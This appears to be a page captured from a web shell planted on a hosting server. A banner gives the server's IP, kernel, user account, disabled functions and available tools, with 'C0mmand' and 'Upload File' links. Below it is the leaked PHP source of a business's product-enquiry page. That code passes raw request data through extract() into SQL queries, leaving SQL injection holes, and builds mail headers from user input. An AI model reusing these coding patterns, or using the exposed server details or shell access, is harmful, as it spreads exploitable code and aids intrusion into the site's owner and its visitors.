Server IP : 103.53.40.154 / Your IP : 3.137.175.80 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home2/ppcad7no/fastelevator.in/../adowoods.com/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php include 'header.php' ;?> <?php if(isset($_REQUEST['EnqSubmit'])){ @extract($_REQUEST); $sql="insert into tbl_enquiry set enquiry_name='$enquiry_nam', enquiry_comp_name='$enquiry_comp_nam', enquiry_mobile='$enquiry_mobil', enquiry_email='$enquiry_emai', enquiry_address='$enquiry_addres', enquiry_subject='$enquiry_subjec', enquiry_detail='$enquiry_detai', enquiry_source='Enquiry', enquiry_add_date=now()"; db_query($sql); ///////////////****** Mailer to client start here **********************////////////// $hostName = $_SERVER['HTTP_HOST']; $msgmail="<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'> <html xmlns='http://www.w3.org/1999/xhtml'> <head> <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1' /> <title>TradeKeyIndia.com-Largest B2B Portal In India</title> </head> <body> <table align='center' cellSpacing='0' cellPadding='0' width='87%' border='1' style='border:1px solid #e61938'> <tbody> <tr> <td vAlign='top' style='background-color:#e61938; padding:10px;font-family:Verdana, Arial, Helvetica, sans-serif; font-size:16px; color:#ffffff; text-align:center; font-weight:bold;' colspan='3' >Enquiry From $hostName</td> </tr> <tr> <td width='30%' vAlign='top' style='font-family:Verdana, Arial, Helvetica, sans-serif; font-size:14px; color:#003366; background-color:#F9E2DD;padding:10px;' ><strong>Name</strong> </td> <td vAlign='top' width='70%' style='font-family:Verdana, Arial, Helvetica, sans-serif;padding:10px;'>$enquiry_nam</td> </tr> <tr> <td vAlign='top' style='font-family:Verdana, Arial, Helvetica, sans-serif; font-size:14px; color:#003366; background-color:#F9E2DD;padding:10px;' ><strong>Mobile </strong> </td> <td vAlign='top' style='font-family:Verdana, Arial, Helvetica, sans-serif;padding:10px;'>$enquiry_mobil</td> </tr> <tr> <td vAlign='top' style='font-family:Verdana, Arial, Helvetica, sans-serif; font-size:14px; color:#003366; background-color:#F9E2DD;padding:10px;' ><strong>Email-Id</strong> </td> <td vAlign='top' style='font-family:Verdana, Arial, Helvetica, sans-serif;padding:10px;'>$enquiry_emai</td> </tr> <tr> <td vAlign='top' style='font-family:Verdana, Arial, Helvetica, sans-serif; font-size:14px; color:#003366; background-color:#F9E2DD;padding:10px;' ><strong>Address</strong> </td> <td vAlign='top' style='font-family:Verdana, Arial, Helvetica, sans-serif;padding:10px;'>$enquiry_addres</td> </tr> <tr> <td vAlign='top' style='font-family:Verdana, Arial, Helvetica, sans-serif; font-size:14px; color:#003366; background-color:#F9E2DD;padding:10px;' ><strong>Enquiry For </strong> </td> <td vAlign='top' style='font-family:Verdana, Arial, Helvetica, sans-serif;padding:10px;'>$enquiry_subjec</td> </tr> <tr> <td vAlign='top' style='font-family:Verdana, Arial, Helvetica, sans-serif; font-size:14px; color:#003366; background-color:#F9E2DD;padding:10px;' ><strong>Detail </strong> </td> <td vAlign='top' style='font-family:Verdana, Arial, Helvetica, sans-serif;padding:10px;'>$enquiry_detai</td> </tr> </tbody> </table> </body> </html>"; $toEmail = $compDATA['admin_email']; $subject = "Enquiry from $hostName"; $from="$enquiry_emai"; $Headers1 = "From: $enquiry_nam<$from>\n"; $Headers1 .= "X-Mailer: PHP/". phpversion(); $Headers1 .= "X-Priority: 3 \n"; $Headers1 .= "MIME-version: 1.0\n"; $Headers1 .= "Content-Type: text/html; charset=iso-8859-1\n"; @mail("$toEmail", "$subject", "$msgmail","$Headers1","-fenquiry@tradekeyindia.com"); //@mail("amitabh.tradekeyindia@gmail.com", "Subject", "Msg1","$Headers1","-fenquiry@tradekeyindia.com"); $toEmail."<br>"; ///////////////****** Mailer to client end here **********************////////////// ///////////////// Mail To Admin ////////////////////////////////// $mail_to_admin="client_enquiry@tradekeyindia.com"; $sub_admin="Business Enquiry From $hostName"; $mail_admin_body = "$msgmail"; $sender_admin =$enquiry_emai; $headers_admin = "MIME-Version: 1.0" . "\r\n"; $headers_admin .= "Content-type: text/html; charset=iso-8859-1" . "\r\n"; $headers_admin .= "from: ".$sender_admin."\n"; if($enquiry_emai){ @mail($mail_to_admin,$sub_admin,$mail_admin_body,$headers_admin); } ///////////////// Mail To Admin End////////////////////////////////// $clrerr="green"; set_session_msg("<span style='color:green; font-weight:600' >Enquiry form submitted successfully. We will contact you soon.</span>"); // header("Location:$site_url/enquiry.html"); // exit; } ?> <style> .pro-img{width:725px; height:475px; border:solid 1px #efefef;} </style> <?php $cate_name=$_GET['cat_name']; $cate_query=db_query("SELECT * FROM tbl_category WHERE category_url='$cate_name' and category_status='Active' "); if(mysqli_num_rows($cate_query)>0){ $cate_rec=mysqli_fetch_array($cate_query); } ?> <section class="breadcrumbs breadcrumbs2 servicesBG wow fadeInDown" data-wow-duration="0.25s" data-wow-delay="0.45s"> <div class="boxedeb"> <div class="container page-block-small"> <div class="col-md-12 col-sm-12 col-xs-12"> <h1>Products Details</h1> <span class="line"></span> <div class="rightText"> <a href="<?=$site_url?>/index.html" title="Home">Home</a> / <a href="<?=$site_url?>/product.html" title="products">products</a> / <?=$cate_rec['category_name']?> </div> </div> </div> </div> </section> <section id="services-single" class="page-block-large"> <div class="container"> <div class="col-md-3 col-sm-4 col-xs-12 text-center wow fadeInUp" data-wow-duration="0.50s" data-wow-delay="0.50s"> <div class="meta-data"> <div class="meta BGprime">01</div> <div class="meta counter BGlight"> <div>300<small>Projects Done</small></div> <div>05<small>Projects in hand</small></div> <div>08<small>Experts</small></div> </div> </div> </div> <div class="col-md-9 col-sm-8 col-xs-12 wow fadeInUp" data-wow-duration="0.50s" data-wow-delay="0.75s"> <h2 class="big"><strong><?=$compDATA['admin_company_name']?> </strong> <?=$cate_rec['category_name']?></h2> <ul class="bxslider"> <?php if(!empty($cate_rec['category_image_name'])){?> <li> <img class="img-responsive" src="<?=$site_url?>/uploaded_files/<?=$cate_rec['category_image_name']?>" width="725" height="475" alt="<?=$compDATA['admin_website_url']?>" /> </li> <?php }?> <?php $cate_img=db_query("SELECT * FROM tbl_category_image WHERE category_image_cat_id='$cate_rec[category_id]'"); if(mysqli_num_rows($cate_img)>0){ while($img=mysqli_fetch_array($cate_img)){ ?> <li> <img class="img-responsive" src="<?=$site_url?>/category_more_images/<?=$img['category_image_name']?>" width="725" height="475" alt="<?=$compDATA['admin_website_url']?>" /> </li> <?php }}?> </ul> <!--<img class="img-responsive pro-img" src="images/products/wpc-door-frame.jpg" alt="WPC Door Frame" title="WPC Door Frame"/>--> <br> <p> <?=$cate_rec['category_description']?>.</p> <div class="gapS"></div> <h2 class="prime text-capitalize">Get In Touch</h2> <p>Fill up form below for Inquiry and our expert will contaxct you soon. All fields are required.</p> <div align="center" style="font-size:14px;margin-bottom:10px; color:<?=$clrerr?>; font-weight:bold;"> <?=display_sess_msg()?> </div> <form method="post" action="" enctype="multipart/form-data" onsubmit="return EnqValidation();"> <div class="field-wrapper row"> <div class="col-md-6"> <input type="text" class="form-control" id="enquiry_nam" name="enquiry_nam" placeholder="Your Name" > </div> <div class="col-md-6"> <input type="tel" class="form-control" id="enquiry_mobil" name="enquiry_mobil" placeholder="Your Phone" > </div> <div class="col-md-6"> <input type="email" class="form-control" id="enquiry_emai" name="enquiry_emai" placeholder="Your Email" > </div> <div class="col-md-6"> <input type="text" class="form-control" id="enquiry_addres" name="enquiry_addres" placeholder="Location" > </div> <!--<div class="col-md-6"> <input type="text" class="form-control" id="state" name="state" placeholder="State" required /> </div> <div class="col-md-6"> <input type="text" class="form-control" id="zip" name="Zip" placeholder="Zip/Postal Code" /> </div> <div class="col-md-6"> <input type="text" class="form-control" value="" name="Country" name="Countrypicker" placeholder="Country" required /> </div>--> <input type="hidden" name="enquiry_subjec" value="<?=$cate_rec['category_name']?>" /> <div class="col-md-12 col-sm-12 col-xs-12"> <textarea cols="60" rows="3" id="enquiry_detai" name="enquiry_detai" class="form-control" placeholder="Write your comment here..."></textarea> </div> <div class="col-md-1"> <input type="submit" value="Submit " class="btn btn-primary btn-lg" id="submit" name="EnqSubmit"> </div> </div> </form> <?php // include 'inquiry.php' ;?> </div> </div> </section> <section class="project-gallery recent page-block-large BGlight"> <div class="container"> <div class="section-heading wow fadeInDown" data-wow-duration="0.50s" data-wow-delay="0.50s"> <h2><i class="fa fa-th-large square BGsec"></i>Recent<small>Projects</small></h2> <a class="btn btn-primary" href="<?=$site_url?>/gallery.php" title="View All Projects">View All Projects <i class="fa fa-chevron-right"></i></a> <div class="clear"></div> </div> <div class="row"> <?php $recent=db_query("SELECT * FROM tbl_category where category_status='Active' ORDER BY category_id desc LIMIT 3"); if(mysqli_num_rows($recent)>0){ while($recent_proj=mysqli_fetch_array($recent)){ ?> <div class="col-lg-4 col-md-4 col-sm-4 col-xs-12 wow zoomIn" data-wow-duration="0.50s" data-wow-delay="1.25s"> <div class="item"> <img class="img-responsive" src="<?=$site_url?>/uploaded_files/<?=$recent_proj['category_image_name']?>" width="725" height="475" alt="<?=$compDATA['admin_website_url']?>" /> <div class="overlay hasBoth"> <a class="link" href="#" title="project name"><i class="fa fa-link square"></i></a> <a class="zoom" href="<?=$site_url?>/uploaded_files/<?=$recent_proj['category_image_name']?>" data-rel="prettyPhoto[gallery1]" title="You can add caption to pictures."><i class="fa fa-search-plus square"></i></a> </div> <h6><?=$recent_proj['category_name']?></h6> </div> </div> <?php }}?> </div> </div> </section> <?php include 'footer.php' ;?> <script type="text/javascript"> function EnqValidation(){ function trim(str){ return str.replace(/^\s*|\s*$/g,''); } if(trim(document.getElementById('enquiry_nam').value)==0){ alert("Enter Your Name !"); document.getElementById('enquiry_nam').focus(); return false; } if (!document.getElementById('enquiry_nam').value.match(/^[a-zA-Z-,]+(\s{0,1}[a-zA-Z-, ])*$/)){ alert("Please enter only alphabets !"); document.getElementById('enquiry_nam').value=''; document.getElementById('enquiry_nam').focus(); return false; } var mobno=trim(document.getElementById('enquiry_mobil').value); if(trim(document.getElementById('enquiry_mobil').value)==0){ alert("Enter your mobile no.!"); document.getElementById('enquiry_mobil').focus(); return false; } if(isNaN(document.getElementById('enquiry_mobil').value)){ alert("Mobile no. should be no.!"); document.getElementById('enquiry_mobil').focus(); return false; } if(mobno.length < 10){ alert("Mobile no. should be 10 digit long !"); document.getElementById('enquiry_mobil').focus(); return false; } var email=trim(document.getElementById('enquiry_emai').value); var mailformat = /^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,3})+$/; if(email=='') { alert('Please Enter Email Id'); document.getElementById('enquiry_emai').focus(); return false; }else if(!email.match(mailformat)){ alert("You have entered an invalid email address!"); document.getElementById('enquiry_emai').focus(); return false; } if(trim(document.getElementById('enquiry_addres').value)==0){ alert("Enter your address !"); document.getElementById('enquiry_addres').focus(); return false; } if(trim(document.getElementById('enquiry_detai').value)==0){ alert("Enter your enquiry detail !"); document.getElementById('enquiry_detai').focus(); return false; } } </script>